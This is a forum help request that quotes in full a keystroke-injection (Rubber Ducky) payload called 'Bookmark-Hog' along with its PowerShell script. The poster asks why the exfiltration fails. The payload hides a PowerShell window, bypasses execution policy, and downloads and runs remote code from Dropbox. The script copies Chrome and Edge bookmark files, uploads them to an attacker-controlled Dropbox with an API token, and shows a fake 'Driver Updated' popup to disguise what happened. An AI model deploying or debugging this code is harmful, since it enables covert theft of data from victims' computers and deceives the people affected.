Hello,
I’ve never used dropbox and I don’t know if I’m doing things wrong for my file configuration + API token doesn’t seem to work in the scripts.
For this script (payload.txt) :
REM     Title: Bookmark-Hog
REM     Author: atomiczsec
REM     Description: This payload is meant to exfiltrate bookmarks to the rubber ducky
REM     Target: Windows 10, 11
DELAY 2000
GUI r
DELAY 500
STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr https://www.dropbox.com/scl/fi/XXXXXXXXX/flipper.paper?dl=1&rlkey=XXXXXXXXXXXXdl=1; iex $pl
ENTER
REM     Remember to replace the link with your DropBox shared link for the intended file to download
REM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1
BH.ps1 :
#Bookmark-Hog
# See if file is a thing
Test-Path -Path "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -PathType Leaf
#If the file does not exist, write to host.
if (-not(Test-Path -Path "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -PathType Leaf)) {
     try {
         Write-Host "The chrome bookmark file has not been found. "
     }
     catch {
         throw $_.Exception.Message
     }
 }
 # Copy Chrome Bookmarks to Bash Bunny
  else {
     $F1 = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_chrome_bookmarks.txt"
     Copy-Item "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -Destination "$env:tmp/$F1" 
 }
# See if file is a thing
Test-Path -Path "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -PathType Leaf
#If the file does not exist, write to host.
if (-not(Test-Path -Path "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -PathType Leaf)) {
    try {
        Write-Host "The edge bookmark file has not been found. "
    }
    catch {
        throw $_.Exception.Message
    }
}
 # Copy Chrome Bookmarks to Bash Bunny
 else {
    $F2 = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_edge_bookmarks.txt"
    Copy-Item "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -Destination "$env:tmp/$F2" 
}
function DropBox-Upload {
    [CmdletBinding()]
    param (
        
    [Parameter (Mandatory = $True, ValueFromPipeline = $True)]
    [Alias("f")]
    [string]$SourceFilePath
    ) 
    $DropBoxAccessToken = "XXXXXXXXXXX"   # Replace with your DropBox Access Token
    $outputFile = Split-Path $SourceFilePath -leaf
    $TargetFilePath="/$outputFile"
    $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
    $authorization = "Bearer " + $DropBoxAccessToken
    $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
    $headers.Add("Authorization", $authorization)
    $headers.Add("Dropbox-API-Arg", $arg)
    $headers.Add("Content-Type", 'application/octet-stream')
    Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
    }
DropBox-Upload -f "$env:tmp/$F1"
DropBox-Upload -f "$env:tmp/$F2"
$done = New-Object -ComObject Wscript.Shell;$done.Popup("Driver Updated",1)
I did create a file on my dropbox, I copy the link and paste it into the payloads: Dropbox - Invalid Link
And I created an API and copied the APP SECRET code (maybe you need to put the APP KEYS?), I tried it and it didn’t change.
The script outputs no errors, but the file receives nothing.